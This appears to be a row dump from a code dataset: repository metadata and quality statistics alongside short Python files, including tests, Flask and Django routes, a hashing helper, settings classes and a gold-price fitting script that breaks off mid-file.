hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5f60a1219198267b1e3cdc8e945fb563001ac80a
| 355
|
py
|
Python
|
test/test_keras.py
|
dkoguciuk/masksembles
|
09407cee095c91713d76122f237b71b5852e5c29
|
[
"MIT"
] | 75
|
2021-03-23T12:53:38.000Z
|
2022-03-30T03:47:08.000Z
|
test/test_keras.py
|
dkoguciuk/masksembles
|
09407cee095c91713d76122f237b71b5852e5c29
|
[
"MIT"
] | 10
|
2021-03-23T09:21:15.000Z
|
2022-02-10T02:55:05.000Z
|
test/test_keras.py
|
dkoguciuk/masksembles
|
09407cee095c91713d76122f237b71b5852e5c29
|
[
"MIT"
] | 7
|
2021-06-03T10:42:45.000Z
|
2021-10-25T00:00:58.000Z
|
import unittest
import tensorflow as tf
import masksembles.keras
class TestCreation(unittest.TestCase):
def test_init_failed(self):
layer = masksembles.keras.Masksembles2D(4, 11.)
self.assertRaises(ValueError, layer, tf.ones([4, 10, 4, 4]))
def test_init_success(self):
layer = masksembles.keras.Masksembles2D(4, 11.)
| 23.666667
| 68
| 0.709859
| 45
| 355
| 5.511111
| 0.533333
| 0.193548
| 0.08871
| 0.201613
| 0.330645
| 0.330645
| 0.330645
| 0
| 0
| 0
| 0
| 0.044828
| 0.183099
| 355
| 14
| 69
| 25.357143
| 0.810345
| 0
| 0
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 1
| 0.222222
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5f7f28842edb398d859213233bf26af58424d836
| 182
|
py
|
Python
|
national_memographic/_twitter/__init__.py
|
hacksparr0w/national_memographic
|
31ffde67049b213a336fecca207d0d54047ea001
|
[
"MIT"
] | 2
|
2021-07-29T10:09:32.000Z
|
2021-07-29T10:13:07.000Z
|
national_memographic/_twitter/__init__.py
|
hacksparr0w/national_memographic
|
31ffde67049b213a336fecca207d0d54047ea001
|
[
"MIT"
] | 2
|
2021-08-13T19:58:35.000Z
|
2021-08-13T20:00:53.000Z
|
national_memographic/_twitter/__init__.py
|
hacksparr0w/national_memographic
|
31ffde67049b213a336fecca207d0d54047ea001
|
[
"MIT"
] | null | null | null |
"""
An implementation of a very simple Twitter Standard v1.1 API client based on
:mod:`requests`.
See https://developer.twitter.com/en/docs/twitter-api/v1 for more information.
"""
| 26
| 78
| 0.752747
| 29
| 182
| 4.724138
| 0.862069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.01875
| 0.120879
| 182
| 6
| 79
| 30.333333
| 0.8375
| 0.950549
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5f8cdbdfa2bb455b58f9aa4bce68a8d3bd616f18
| 156
|
py
|
Python
|
telegrask/__init__.py
|
samedamci/telegrask
|
8cd0d7663e3a7386784396462f66c176bc6543c5
|
[
"0BSD"
] | 4
|
2021-08-19T19:17:17.000Z
|
2021-10-12T19:25:59.000Z
|
telegrask/__init__.py
|
samedamci/telegrask
|
8cd0d7663e3a7386784396462f66c176bc6543c5
|
[
"0BSD"
] | null | null | null |
telegrask/__init__.py
|
samedamci/telegrask
|
8cd0d7663e3a7386784396462f66c176bc6543c5
|
[
"0BSD"
] | 1
|
2021-08-31T10:49:34.000Z
|
2021-08-31T10:49:34.000Z
|
from .app import Telegrask
from .inlinequery import InlineQuery
from .__version__ import __version__
__all__ = ["Telegrask", "InlineQuery", "__version__"]
| 26
| 53
| 0.794872
| 16
| 156
| 6.75
| 0.4375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115385
| 156
| 5
| 54
| 31.2
| 0.782609
| 0
| 0
| 0
| 0
| 0
| 0.198718
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
5fc4b130c7a7284278bd86ca431f21e23739db9e
| 137
|
py
|
Python
|
src/server/client/__init__.py
|
adapiekarska/network-pong
|
c6a88b66570f26aea9c9976eb16953c480b846ec
|
[
"MIT"
] | 2
|
2018-11-14T17:25:24.000Z
|
2019-12-09T17:57:30.000Z
|
src/server/client/__init__.py
|
adapiekarska/network-pong
|
c6a88b66570f26aea9c9976eb16953c480b846ec
|
[
"MIT"
] | null | null | null |
src/server/client/__init__.py
|
adapiekarska/network-pong
|
c6a88b66570f26aea9c9976eb16953c480b846ec
|
[
"MIT"
] | null | null | null |
"""
Package containing all client-connected utilities for the server.
This includes client and connection representations as objects.
"""
| 34.25
| 65
| 0.810219
| 17
| 137
| 6.529412
| 0.941176
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.124088
| 137
| 4
| 66
| 34.25
| 0.925
| 0.941606
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5fd46b31750793d1f6106db19cfd965f29e74431
| 311
|
py
|
Python
|
exercicios/Lista1/Q6.py
|
AlexandrePeBrito/CursoUdemyPython
|
3de58cb30c9f333b32078309847179ff3f9d7e22
|
[
"MIT"
] | null | null | null |
exercicios/Lista1/Q6.py
|
AlexandrePeBrito/CursoUdemyPython
|
3de58cb30c9f333b32078309847179ff3f9d7e22
|
[
"MIT"
] | null | null | null |
exercicios/Lista1/Q6.py
|
AlexandrePeBrito/CursoUdemyPython
|
3de58cb30c9f333b32078309847179ff3f9d7e22
|
[
"MIT"
] | null | null | null |
#Leia uma temperatura em graus celsius e apresente-a convertida em fahrenheit.
# A formula da conversao eh: F=C*(9/5)+32,
# sendo F a temperatura em fahrenheit e c a temperatura em celsius.
C=float(input("Informe a temperatura em Celsius: "))
F=C*(9/5)+32
print(f"A temperatura em Fahrenheit eh {round(F,1)}")
| 38.875
| 78
| 0.736334
| 57
| 311
| 4.017544
| 0.473684
| 0.283843
| 0.244541
| 0.034935
| 0.270742
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033835
| 0.144695
| 311
| 8
| 79
| 38.875
| 0.827068
| 0.59164
| 0
| 0
| 0
| 0
| 0.616
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.333333
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
396e96cabe185972eb83c5ddc6464b80c93889ef
| 1,472
|
py
|
Python
|
web-server/test/service/map.py
|
sanfengliao/DeepNavi
|
dc405ac0010075c2eea63083528db7cb765ad161
|
[
"Apache-2.0"
] | null | null | null |
web-server/test/service/map.py
|
sanfengliao/DeepNavi
|
dc405ac0010075c2eea63083528db7cb765ad161
|
[
"Apache-2.0"
] | null | null | null |
web-server/test/service/map.py
|
sanfengliao/DeepNavi
|
dc405ac0010075c2eea63083528db7cb765ad161
|
[
"Apache-2.0"
] | null | null | null |
import unittest
from service import MapService
mapService = MapService()
class TestService(unittest.TestCase):
def _testNavi(self):
print(mapService.navi('5e6b0be0e4f26f3c4a8dadc0', '5e6b0c1ae4f26f3c4a8dadc6', '5e68ca6e148277137d1c62b1'))
def _testFindEdgeWherePointIn(self):
edges = mapService.findEdgeWherePointIn({'x': 0, 'y': -50}, '5e68ca6e148277137d1c62b1')
for item in edges:
print(item.toJsonMap())
def testNavi(self):
# print(mapService.navi({'x': 0, 'y': 0}, {'x': 0, 'y': 50}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': 0, 'y': 50}, {'x': 0, 'y': 70}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': 0, 'y': 20}, {'x': 0, 'y': 50}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': 0, 'y': 0}, {'x': 0, 'y': 70}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': 0, 'y': 10}, {'x': -10, 'y': 70}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': 0, 'y': 60}, {'x': -50, 'y': 60}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': 0, 'y': 60}, {'x': -50, 'y': 70}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': 0, 'y': 10}, {'x': -50, 'y': 70}, '5e68ca6e148277137d1c62b1'))
# print(mapService.navi({'x': -50, 'y': 10}, {'x': 0, 'y': 10}, '5e68ca6e148277137d1c62b1'))
print(mapService.navi({'x': 0, 'y': 70}, {'x': -50, 'y': 0}, '5e68ca6e148277137d1c62b1'))
| 66.909091
| 114
| 0.595109
| 162
| 1,472
| 5.395062
| 0.191358
| 0.034325
| 0.051487
| 0.228833
| 0.643021
| 0.60984
| 0.553776
| 0.501144
| 0.501144
| 0.441648
| 0
| 0.240725
| 0.175951
| 1,472
| 22
| 115
| 66.909091
| 0.479802
| 0.548913
| 0
| 0
| 0
| 0
| 0.192366
| 0.183206
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.166667
| 0
| 0.5
| 0.25
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
3970f97084acc86d05fc609ca979624a13ec6f40
| 178
|
py
|
Python
|
beer/atoms/hash.py
|
acud/beer
|
4b95f93188be50ff7fb36d3678a38e49c4f1580b
|
[
"BSD-3-Clause"
] | null | null | null |
beer/atoms/hash.py
|
acud/beer
|
4b95f93188be50ff7fb36d3678a38e49c4f1580b
|
[
"BSD-3-Clause"
] | 1
|
2021-07-07T15:03:49.000Z
|
2021-07-07T15:31:23.000Z
|
beer/atoms/hash.py
|
acud/beer
|
4b95f93188be50ff7fb36d3678a38e49c4f1580b
|
[
"BSD-3-Clause"
] | null | null | null |
# this file handles hashing
import hashlib
def sha3(content):
s = hashlib.sha3_512()
s.update(content)
# s.update(content.encode('utf-8'))
return s.hexdigest()
| 17.8
| 39
| 0.668539
| 25
| 178
| 4.72
| 0.68
| 0.135593
| 0.237288
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041958
| 0.196629
| 178
| 9
| 40
| 19.777778
| 0.783217
| 0.331461
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
398e9f00b018ef10d2346f3721a7ed82313bb602
| 286
|
py
|
Python
|
flask/app/routes.py
|
jonathanvanschenck/guest-book
|
462fc50f5031d479ee4811925f83fe0bfeebba7a
|
[
"MIT"
] | null | null | null |
flask/app/routes.py
|
jonathanvanschenck/guest-book
|
462fc50f5031d479ee4811925f83fe0bfeebba7a
|
[
"MIT"
] | null | null | null |
flask/app/routes.py
|
jonathanvanschenck/guest-book
|
462fc50f5031d479ee4811925f83fe0bfeebba7a
|
[
"MIT"
] | null | null | null |
# This manages all the flask views
from flask import url_for, render_template, flash, redirect
# Import the flask app instance so as to attach routes
from app import app
# Set the index views
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html')
| 22
| 59
| 0.737762
| 45
| 286
| 4.622222
| 0.6
| 0.076923
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164336
| 286
| 12
| 60
| 23.833333
| 0.870293
| 0.367133
| 0
| 0
| 0
| 0
| 0.096045
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| true
| 0
| 0.333333
| 0.166667
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
f2cfacd171ba76ab88ef6af2d4cfeb5cff46b080
| 212
|
py
|
Python
|
app/api/index.py
|
KimSoyoung227/gaesaenack-cowork-study
|
d30bdfbf738d72f1752ff86067fadbe68559b60e
|
[
"MIT"
] | null | null | null |
app/api/index.py
|
KimSoyoung227/gaesaenack-cowork-study
|
d30bdfbf738d72f1752ff86067fadbe68559b60e
|
[
"MIT"
] | 1
|
2019-04-13T11:54:50.000Z
|
2019-04-13T11:54:50.000Z
|
app/api/index.py
|
KimSoyoung227/gaesaenack-cowork-study
|
d30bdfbf738d72f1752ff86067fadbe68559b60e
|
[
"MIT"
] | 4
|
2019-04-13T06:55:25.000Z
|
2019-04-13T07:02:36.000Z
|
from app.api import apiRestful
from flask_restplus import Resource
@apiRestful.route('/index')
class Index(Resource):
def get(self):
return {"result" : "This is a return string of Index page"}, 200
| 23.555556
| 72
| 0.712264
| 30
| 212
| 5
| 0.766667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.017341
| 0.183962
| 212
| 9
| 72
| 23.555556
| 0.849711
| 0
| 0
| 0
| 0
| 0
| 0.230047
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0.166667
| 0.833333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
8422d1a74ea96d1a282f6c97c185a4dd4655762d
| 239
|
py
|
Python
|
calfem/qt5.py
|
opetlund/TMM4135-CALFEM
|
e15621a6fec3bef7f07cfbc9abb80ad10551d6d0
|
[
"MIT"
] | null | null | null |
calfem/qt5.py
|
opetlund/TMM4135-CALFEM
|
e15621a6fec3bef7f07cfbc9abb80ad10551d6d0
|
[
"MIT"
] | null | null | null |
calfem/qt5.py
|
opetlund/TMM4135-CALFEM
|
e15621a6fec3bef7f07cfbc9abb80ad10551d6d0
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Wed Apr 12 23:17:26 2017
@author: jonas_000
"""
from PyQt5.QtCore import pyqtSlot, pyqtSignal, QMetaObject
from PyQt5.QtWidgets import *
from PyQt5.QtGui import QPixmap
from PyQt5.uic import loadUi
| 19.916667
| 58
| 0.740586
| 36
| 239
| 4.888889
| 0.75
| 0.204545
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098522
| 0.150628
| 239
| 11
| 59
| 21.727273
| 0.768473
| 0.32636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
843c559014dc190fa284d75d083d1c420ec06230
| 161
|
py
|
Python
|
tests/fixtures/module_with_single_settings_class.py
|
suhendiandigo/settings-doc
|
1f46f12828179fc57bfbafe55871cff0c74d207e
|
[
"MIT"
] | 7
|
2021-11-16T12:44:47.000Z
|
2022-01-27T03:14:59.000Z
|
tests/fixtures/module_with_single_settings_class.py
|
suhendiandigo/settings-doc
|
1f46f12828179fc57bfbafe55871cff0c74d207e
|
[
"MIT"
] | 8
|
2021-11-11T20:29:45.000Z
|
2022-02-07T11:48:01.000Z
|
tests/fixtures/module_with_single_settings_class.py
|
suhendiandigo/settings-doc
|
1f46f12828179fc57bfbafe55871cff0c74d207e
|
[
"MIT"
] | 1
|
2022-01-25T05:38:04.000Z
|
2022-01-25T05:38:04.000Z
|
from pydantic import BaseSettings, Field
class SingleSettingsInModule(BaseSettings):
logging_level: str = Field(..., description="SingleSettingsInModule")
| 26.833333
| 73
| 0.795031
| 14
| 161
| 9.071429
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111801
| 161
| 5
| 74
| 32.2
| 0.888112
| 0
| 0
| 0
| 0
| 0
| 0.136646
| 0.136646
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
84651cd5283cc5d63d8297b895146aca2f73d12d
| 319
|
py
|
Python
|
test_project/test_app/tests/test_patches.py
|
ninemoreminutes/django-site-utils
|
d0c9f360451593f20ce0e80866f7e76185c0764b
|
[
"BSD-3-Clause"
] | null | null | null |
test_project/test_app/tests/test_patches.py
|
ninemoreminutes/django-site-utils
|
d0c9f360451593f20ce0e80866f7e76185c0764b
|
[
"BSD-3-Clause"
] | 13
|
2020-05-07T03:57:03.000Z
|
2022-03-12T00:54:56.000Z
|
test_project/test_app/tests/test_patches.py
|
ninemoreminutes/django-site-utils
|
d0c9f360451593f20ce0e80866f7e76185c0764b
|
[
"BSD-3-Clause"
] | null | null | null |
# Python
from __future__ import unicode_literals
# Site-Utils
import site_utils.patches
def test_patch_runserver_addrport(apps):
assert site_utils.patches._runserver_addrport_patched.is_set()
def test_patch_wsgi_handler_keep_alive(apps):
assert site_utils.patches._wsgi_handler_keep_alive_patched.is_set()
| 22.785714
| 71
| 0.840125
| 46
| 319
| 5.26087
| 0.5
| 0.14876
| 0.198347
| 0.157025
| 0.214876
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097179
| 319
| 13
| 72
| 24.538462
| 0.840278
| 0.053292
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
ffd33f3e5bff195ae7b40a3c923b1613b7276f2f
| 101
|
py
|
Python
|
py/solns/removeVowelsFromStr/removeVowelsFromStr.py
|
zcemycl/algoTest
|
9518fb2b60fd83c85aeb2ab809ff647aaf643f0a
|
[
"MIT"
] | 1
|
2022-01-26T16:33:45.000Z
|
2022-01-26T16:33:45.000Z
|
py/solns/removeVowelsFromStr/removeVowelsFromStr.py
|
zcemycl/algoTest
|
9518fb2b60fd83c85aeb2ab809ff647aaf643f0a
|
[
"MIT"
] | null | null | null |
py/solns/removeVowelsFromStr/removeVowelsFromStr.py
|
zcemycl/algoTest
|
9518fb2b60fd83c85aeb2ab809ff647aaf643f0a
|
[
"MIT"
] | 1
|
2022-01-26T16:35:44.000Z
|
2022-01-26T16:35:44.000Z
|
import re
class Solution:
@staticmethod
def regex(s):
return re.sub(r"[aeiou]","",s)
| 16.833333
| 38
| 0.594059
| 14
| 101
| 4.285714
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.247525
| 101
| 5
| 39
| 20.2
| 0.789474
| 0
| 0
| 0
| 0
| 0
| 0.069307
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
081affedfb9e505118b6bf07870a81374463d747
| 221
|
py
|
Python
|
search/urls.py
|
mediconnect/backend
|
be49ffe7182fe21b2d41e4c7cc3b853b870d87c7
|
[
"Apache-2.0"
] | null | null | null |
search/urls.py
|
mediconnect/backend
|
be49ffe7182fe21b2d41e4c7cc3b853b870d87c7
|
[
"Apache-2.0"
] | 14
|
2018-03-21T02:38:57.000Z
|
2018-11-17T06:38:51.000Z
|
search/urls.py
|
mediconnect/backend
|
be49ffe7182fe21b2d41e4c7cc3b853b870d87c7
|
[
"Apache-2.0"
] | null | null | null |
from django.urls import path
from . import views
urlpatterns = [
path('', views.Search.as_view(), name='search_hospital'),
path('disease/', views.HospitalByDisease.as_view(), name='search_hospital_by_disease')
]
| 27.625
| 90
| 0.728507
| 28
| 221
| 5.535714
| 0.535714
| 0.077419
| 0.129032
| 0.206452
| 0.309677
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122172
| 221
| 7
| 91
| 31.571429
| 0.798969
| 0
| 0
| 0
| 0
| 0
| 0.221719
| 0.117647
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
084029eb435a2b892d4e309890812045a6e14d5c
| 2,081
|
py
|
Python
|
tranProbability.py
|
OmegaDING/MCM_GOLD_BTC_speculation
|
c2fcb719396964aa25ac6dd9a0d7918de9d88a93
|
[
"Apache-2.0"
] | null | null | null |
tranProbability.py
|
OmegaDING/MCM_GOLD_BTC_speculation
|
c2fcb719396964aa25ac6dd9a0d7918de9d88a93
|
[
"Apache-2.0"
] | null | null | null |
tranProbability.py
|
OmegaDING/MCM_GOLD_BTC_speculation
|
c2fcb719396964aa25ac6dd9a0d7918de9d88a93
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
def gold_probability(start_day = 0 ,current_day = 1264):
pd_reader = pd.read_csv("./LBMA-GOLD.csv")
x = [x for x in range(start_day, current_day+1)]
y = pd_reader['USD (PM)'][start_day:current_day+1]
if pd_reader['USD (PM)'][start_day].astype(int) == -2147483648:
pd_reader['USD (PM)'][start_day] = pd_reader['USD (PM)'][start_day-1]
null = -2147483648
for i in range(start_day, current_day + 1):
if y[i] <= 0 or y[i] > 10000 or y[i].astype(int) == null:
y[i] = y[i - 1]
y_fit = np.polyfit(x, y, 40)
